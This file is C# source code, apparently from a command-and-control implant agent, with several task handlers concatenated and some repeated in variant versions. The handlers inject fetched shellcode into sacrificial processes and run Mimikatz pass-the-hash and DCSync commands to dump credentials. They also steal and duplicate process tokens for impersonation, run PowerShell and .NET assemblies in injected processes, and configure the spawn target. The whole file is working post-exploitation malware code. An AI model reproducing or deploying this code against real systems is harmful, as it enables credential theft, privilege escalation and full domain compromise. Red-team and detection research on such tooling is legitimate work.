/// <summary> /// Change the sacrificial process that's spawned for certain post-exploitation jobs /// such as execute assembly. Valid taskings are spawnto_x64 and spawnto_x86. If the /// file does not exist or the file is not of an executable file type, the job /// will return an error message. /// </summary> /// <param name="job">Job associated with this task. The filepath is specified by job.Task.parameters.</param> /// <param name="agent">Agent this task is run on.</param> public static void Execute(Job job, Agent agent) { Task task = job.Task; string path = task.parameters; if (!File.Exists(path)) { job.SetError($"File {path} does not exist."); return; } FileInfo fileInfo = new FileInfo(path); switch (job.Task.command) { #if SPAWNTO_X64 case "spawnto_x64": try { if (EvasionManager.SetSpawnTo64(fileInfo.FullName)) { job.SetComplete($"Changed spawnto_x64 to {fileInfo.FullName}"); } else { job.SetError($"Could not set spawnto_x64 {fileInfo.FullName} as it is not a valid executable."); } } catch (Exception ex) { job.SetError($"Could not set spawnto_x64 to {fileInfo.FullName}. Reason: {ex.Message}"); } break; #endif #if SPAWNTO_X86 case "spawnto_x86": try { if (EvasionManager.SetSpawnTo86(fileInfo.FullName)) { job.SetComplete($"Changed spawnto_x86 to {fileInfo.FullName}"); } else { job.SetError($"Could not set spawnto_x86 {fileInfo.FullName} as it is not a valid executable."); } } catch (Exception ex) { job.SetError($"Could not set spawnto_x86 to {fileInfo.FullName}. Reason: {ex.Message}"); } break; #endif default: job.SetError("Unsupported code path."); break; } }
public static void PassTheHash(Job job, Agent implant) { Task task = job.Task; PassTheHashParameters taskParams; string sacrificialApplication; string commandLine = ""; string command = "\"sekurlsa::pth /user:{0} /domain:{1} /ntlm:{2} /run:{3}\""; string loaderStubID; string pipeName; int pidOfPTHProccess = -1; JObject json; List <string> output = new List <string>(); MythicCredential cred; try { taskParams = JsonConvert.DeserializeObject <PassTheHashParameters>(job.Task.parameters); } catch (Exception ex) { job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"); return; } cred = taskParams.credential; if (string.IsNullOrEmpty(cred.account) || string.IsNullOrEmpty(cred.credential)) { job.SetError("Username and password are required for pth."); return; } if (cred.credential_type != "hash") { job.SetError($"pth built-in can only be used with hash-type (e.g., RC4 or NTLM) credentials, and was given credentials of type {cred.credential_type}"); return; } string userFQDN = cred.account; if (string.IsNullOrEmpty(cred.realm)) { job.SetError("pth requires a valid realm or domain to be set."); return; } command = string.Format(command, new object[] { cred.account, cred.realm, cred.credential, taskParams.program }); byte[] loaderStub; /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, taskParams.loader_stub_id, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", taskParams.loader_stub_id)); return; } pipeName = taskParams.pipe_name; if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { //sacrificialProcess.CreateNewRemoteThread(tempBytes); //sacrificialProcess.ResumeThread(); // bool bRet = sacrificialProcess.StillActive(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { if (line.Contains(" PID ")) { string[] parts = line.Trim().Split(' '); if (parts.Length != 5) { job.SetError($"No PID could be enumerated from the line: {line}"); break; } else { if (!int.TryParse(parts[4].Trim(), out pidOfPTHProccess)) { job.SetError($"Failed to parse PID from: {parts[1].Trim()}"); break; } } } output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { job.AddOutput(output.ToArray()); output.Clear(); } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } if (pidOfPTHProccess != -1) { IntPtr procHandle; IntPtr hStolenToken; try { procHandle = System.Diagnostics.Process.GetProcessById((int)Convert.ToInt32(pidOfPTHProccess)).Handle; } catch (Exception ex) { throw new Exception($"Failed to acquire handle to process {pidOfPTHProccess}. Reason: {ex.Message}"); } // Stores the handle for the original process token hStolenToken = IntPtr.Zero; // Stores the handle for our duplicated token // Get handle to target process token bool bRet = OpenProcessToken( procHandle, // ProcessHandle (uint)(TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query), // desiredAccess out IntPtr tokenHandle); // TokenHandle if (!bRet) { throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}"); //return; }// Check if OpenProcessToken was successful if (!CredentialManager.SetImpersonatedPrimaryToken(tokenHandle)) { throw new Exception($"Failed to set new primary token: {Marshal.GetLastWin32Error()}"); } // Duplicate token as stolenHandle bRet = DuplicateTokenEx( tokenHandle, // hExistingToken TokenAccessLevels.MaximumAllowed, /*.TOKEN_QUERY | TokenAccessRights.TOKEN_DUPLICATE | TokenAccessRights.TOKEN_ASSIGN_PRIMARY,*/ // dwDesiredAccess IntPtr.Zero, // lpTokenAttributes TokenImpersonationLevel.Impersonation, // ImpersonationLevel TOKEN_TYPE.TokenImpersonation, // TokenType out hStolenToken); // phNewToken // end testing if (!bRet) // Check if DuplicateTokenEx was successful { throw new Exception($"Failed to duplicate token handle: {Marshal.GetLastWin32Error()}"); } ////bRet = ImpersonateLoggedOnUser(tokenHandle); //if (!bRet) //{ // task.status = "error"; // task.message = $"Failed to impersonate logged on user: {Marshal.GetLastWin32Error()}"; //} //CloseHandle(tokenHandle); //CloseHandle(procHandle); if (!CredentialManager.SetImpersonatedImpersonationToken(hStolenToken)) { throw new Exception($"Failed to impersonate user. Reason: {Marshal.GetLastWin32Error()}"); } else { WindowsIdentity ident = new WindowsIdentity(hStolenToken); job.SetComplete($"\n\nSuccessfully impersonated {ident.Name}!"); ident.Dispose(); } } else { job.SetError("Failed to acquire PID of PTH process."); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in PTH (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in PTH. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
public static void DCSync(Job job, Agent implant) { DCSyncParameters dcsParams; Task task = job.Task; string command; string sacrificialApplication; string commandLine = ""; string loaderStubID; string pipeName; JObject json; List <string> output = new List <string>(); string formatCommand = "\"lsadump::dcsync /domain:{0} /user:{1}\""; dcsParams = JsonConvert.DeserializeObject <DCSyncParameters>(job.Task.parameters); if (string.IsNullOrEmpty(dcsParams.domain)) { job.SetError("Missing required parameter: domain"); return; } if (string.IsNullOrEmpty(dcsParams.user)) { job.SetError("Missing required parameter: user"); return; } if (dcsParams.domain.Split(' ').Length > 1) { job.SetError($"Invalid domain: {dcsParams.domain}"); return; } if (dcsParams.user.Split(' ').Length > 1) { job.SetError($"Invalid user: {dcsParams.user}"); return; } command = string.Format(formatCommand, dcsParams.domain, dcsParams.user); byte[] loaderStub; /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, dcsParams.loader_stub_id, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", dcsParams.loader_stub_id)); return; } pipeName = dcsParams.pipe_name; if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { //sacrificialProcess.CreateNewRemoteThread(tempBytes); //sacrificialProcess.ResumeThread(); // bool bRet = sacrificialProcess.StillActive(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { job.SetComplete(output.ToArray()); } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in DCSync (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in DCSync. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
/// <summary> /// Execute an arbitrary C# assembly in a sacrificial process /// that respects the current caller's token. /// </summary> /// <param name="job"> /// Job associated with this task. job.Task.parameters /// should contain a JSON structure with key "assembly" that /// has an associated Apfell file ID to pull from the server. /// This assembly is position-independent code generated from /// donut with arguments baked in. /// </param> /// <param name="agent">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; string sacrificialApplication; string commandLine = ""; string command = ""; string loaderStubID; string pipeName; JObject json; List <string> output = new List <string>(); /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; try { json = (JObject)JsonConvert.DeserializeObject(task.parameters); } catch (Exception ex) { task.status = "error"; task.message = $"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"; return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); } catch (Exception ex) { task.status = "error"; task.message = $"Failed to fetch loader stub for PrintSpoofer. Reason: {ex.Message}.\nParameters:\n{task.parameters}"; return; } if (loaderStub == null || loaderStub.Length == 0) { job.Task.status = "error"; job.Task.message = String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID); return; } pipeName = json.Value <string>("pipe_name"); if (string.IsNullOrEmpty(pipeName)) { job.Task.status = "error"; job.Task.message = "No pipe name was given to DLL to start the named pipe server."; return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { // Technically we don't need the named pipe IO, but this class already has implemented what we need for // various token impersonation things, so why not. //if (implant.HasAlternateToken()) //{ // sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, true, false); //} //else if (implant.HasCredentials()) //{ // sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, false, true); //} //else //{ // sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED); //} // Deal with tokens later.... sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; //= new SCTaskResp(job.Task.id, false, String.Format("Sacrificial process spawned with PID: {0}", sacrificialProcess.PID), ""); //implant.TryPostResponse(response); ////byte[] tempBytes = File.ReadAllBytes("C:\\Users\\Public\\helloworldsc_noargs.bin"); if (sacrificialProcess.Inject(loaderStub)) { //sacrificialProcess.CreateNewRemoteThread(tempBytes); //sacrificialProcess.ResumeThread(); // bool bRet = sacrificialProcess.StillActive(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); command = json.Value <string>("command"); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { job.AddOutput(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } job.SetComplete(); } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in PrintSpoofer (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in PrintSpoofer. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
public static void Execute(Job job, Agent agent) { Task task = job.Task; SpawnParameters args; byte[] templateFile; string sacrificialApplication; SacrificialProcess sacrificialProcess = null; try { args = JsonConvert.DeserializeObject <SpawnParameters>(task.parameters); } catch (Exception ex) { job.SetError(string.Format("Failed to deserialize arguments from {0}. Error: {1}", task.parameters, ex.Message)); return; } if (string.IsNullOrEmpty(args.template)) { job.SetError("No template passed given to inject."); return; } templateFile = agent.Profile.GetFile(job.Task.id, args.template, agent.Profile.ChunkSize); if (templateFile.Length == null || templateFile.Length == 0) { job.SetError($"Unable to retrieve template ID: {args.template}"); return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; if (sacrificialProcess.Inject(templateFile)) { job.SetComplete(string.Format("Spawned {0} (PID: {1}) and successfully injected the specified payload template.", startupArgs.Application, sacrificialProcess.PID)); } else { job.SetError($"Failed to inject payload: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error spawning agent (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error spawning agent. Reason: {0}", ex.Message)); } } finally { if (job.Task.status == "error" && !sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
public static void ExecutePowerPick(AJ.Job job, Agent agent) { Task task = job.Task; string psCommand; string loadedScript = GetAllLoadedScripts(); string loaderStubID = ""; byte[] loaderStub = null; string pipeName; JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters); loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = agent.Profile.GetFile(task.id, loaderStubID, agent.Profile.ChunkSize); if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (pipeName == "") { job.SetError("No pipe name was given to connect to (server issue)."); return; } psCommand = json.Value <string>("powershell_params"); if (psCommand == "") { job.SetError("No parameters were given to execute."); return; } // Spawn new process // Inject into process // Send PowerShell to process // Receive output from PowerShell //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; string sacrificialApp; var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); sacrificialProcess.Exited += delegate(object sender, EventArgs e) { job.SetComplete(""); }; ApolloTaskResponse response; Mythic.Structs.AssemblyResponse asmResponse; if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; asmResponse = new Mythic.Structs.AssemblyResponse() { sacrificial_pid = (int)sacrificialProcess.PID, sacrificial_process_name = startupArgs.Application }; #region PowerPick Testing // setup redirection sacrificialProcess.OutputDataReceived = delegate(string data) { job.AddOutput(data); }; sacrificialProcess.ErrorDataReceived = delegate(string data) { job.AddOutput(data); }; #endregion if (sacrificialProcess.Inject(loaderStub)) { // Connect to initial named pipe and send job // Also sends along task ID to use as new named pipe name to read output // This prevents colliding with other jobs that might be running at the same time // ...hopefully NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); BinaryFormatter bf = new BinaryFormatter(); bf.Binder = new PowerShellJobMessageBinder(); bf.Serialize(pipeClient, new PowerShellJobMessage() { LoadedScript = loadedScript, Command = psCommand, ID = job.Task.id, }); try { var msg = (PowerShellTerminatedMessage)bf.Deserialize(pipeClient); #region old good code //List<string> output = new List<string>(); //using (StreamReader sr = new StreamReader(pipeClient)) //{ // //sr.ReadLine(); // while (!sr.EndOfStream) // { // var line = sr.ReadLine(); // if (output.Count > 4) // { // asmResponse.output = output.ToArray(); // response = new ApolloTaskResponse(job.Task.id, false, asmResponse, ""); // agent.TryPostResponse(task.id, response); // output.Clear(); // } // output.Add(line); // } // if (output.Count > 0) // { // asmResponse.output = output.ToArray(); // response = new ApolloTaskResponse(job.Task.id, false, asmResponse, ""); // agent.TryPostResponse(task.id, response); // output.Clear(); // } //} #endregion } catch (Exception e) { job.SetError(String.Format("Error while reading from stream: {0}", e.Message)); return; } } else { job.SetError($"Could not inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Could not start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception e) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in powerpick (PID: {0}). Reason: {1}", sacrificialProcess.PID, e.Message)); } else { job.SetError(String.Format("Error in powerpick. Reason: {0}", e.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
/// <summary> /// Change the sacrificial process that's spawned for certain post-exploitation jobs /// such as execute assembly. Valid taskings are spawnto_x64 and spawnto_x86. If the /// file does not exist or the file is not of an executable file type, the job /// will return an error message. /// </summary> /// <param name="job">Job associated with this task. The filepath is specified by job.Task.parameters.</param> /// <param name="agent">Agent this task is run on.</param> /// public static void Execute(Job job, Agent agent) { Task task = job.Task; SpawnToArgs args = JsonConvert.DeserializeObject <SpawnToArgs>(job.Task.parameters); string path = args.application; string arguments = args.arguments; if (!File.Exists(path)) { job.SetError($"File {path} does not exist."); return; } FileInfo fileInfo = new FileInfo(path); switch (job.Task.command) { #if SPAWNTO_X64 case "spawnto_x64": try { if (EvasionManager.SetSpawnTo64(fileInfo.FullName, arguments)) { if (!string.IsNullOrEmpty(arguments)) { job.SetComplete($"Changed spawnto_x64 to '{fileInfo.FullName} {arguments}'"); } else { job.SetComplete($"Changed spawnto_x64 to '{fileInfo.FullName} {arguments}"); } } else { job.SetError($"Could not set spawnto_x64 {fileInfo.FullName} as it is not a valid executable."); } } catch (Exception ex) { job.SetError($"Could not set spawnto_x64 to {fileInfo.FullName}. Reason: {ex.Message}"); } break; #endif #if SPAWNTO_X86 case "spawnto_x86": try { if (EvasionManager.SetSpawnTo86(fileInfo.FullName, arguments)) { if (!string.IsNullOrEmpty(arguments)) { job.SetComplete($"Changed spawnto_x86 to '{fileInfo.FullName} {arguments}'"); } else { job.SetComplete($"Changed spawnto_x86 to '{fileInfo.FullName} {arguments}"); } } else { job.SetError($"Could not set spawnto_x86 {fileInfo.FullName} as it is not a valid executable."); } } catch (Exception ex) { job.SetError($"Could not set spawnto_x86 to {fileInfo.FullName}. Reason: {ex.Message}"); } break; #endif default: job.SetError("Unsupported code path."); break; } }
static void ExecuteAssembly(Job job, Agent implant) { Task task = job.Task; string sacrificialApplication; string commandLine = ""; string loaderStubID; string pipeName; string assemblyName; string[] assemblyArguments; byte[] assemblyBytes = null; //List<string> output = new List<string>(); /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ SacrificialProcesses.SacrificialProcess sacrificialProcess = null; JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters); assemblyName = json.Value <string>("assembly_name"); if (!loadedAssemblies.ContainsKey(assemblyName)) { job.SetError(String.Format("Assembly {0} has not been loaded. Please load the assembly with the 'register_assembly' command.", assemblyName)); return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (pipeName == "") { job.SetError("No pipe name was given to send the assembly to execute."); return; } assemblyArguments = SplitCommandLine(json.Value <string>("assembly_arguments")); assemblyBytes = GetAssembly(assemblyName); var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); ApolloTaskResponse artifactResp; if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; if (sacrificialProcess.Inject(loaderStub)) { NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); // Method 1 BinaryFormatter bf = new BinaryFormatter(); bf.Binder = new AssemblyJobMessageBinder(); bf.Serialize(pipeClient, new AssemblyJobMessage() { AssemblyBytes = assemblyBytes, Args = assemblyArguments, }); try { using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); while (!sr.EndOfStream) { var line = sr.ReadLine(); if (line != null) { job.AddOutput(line); } } } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); return; } job.SetComplete(""); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in execute-assembly (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in execute-assembly. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
/// <summary> /// Execute an arbitrary C# assembly in a sacrificial process /// that respects the current caller's token. /// </summary> /// <param name="job"> /// Job associated with this task. job.Task.parameters /// should contain a JSON structure with key "assembly" that /// has an associated Apfell file ID to pull from the server. /// This assembly is position-independent code generated from /// donut with arguments baked in. /// </param> /// <param name="agent">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; string sacrificialApplication; string commandLine = ""; string command = ""; string loaderStubID; string pipeName; JObject json; List <string> output = new List <string>(); /* * Response from the server should be of the form: * { * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "command": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; try { json = (JObject)JsonConvert.DeserializeObject(task.parameters); } catch (Exception ex) { job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"); return; } command = json.Value <string>("command"); if (string.IsNullOrEmpty(command)) { job.SetError("Require one or more commands to give to Mimikatz."); return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { response = new ApolloTaskResponse(job.Task, output.ToArray()); var credResp = GetCredentialResponse(job.Task, command, output); job.AddOutput(response); if (credResp.credentials != null && credResp.credentials.Length > 0) { job.AddOutput(credResp); } output.Clear(); } job.SetComplete(""); } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in Mimikatz (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in Mimikatz. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }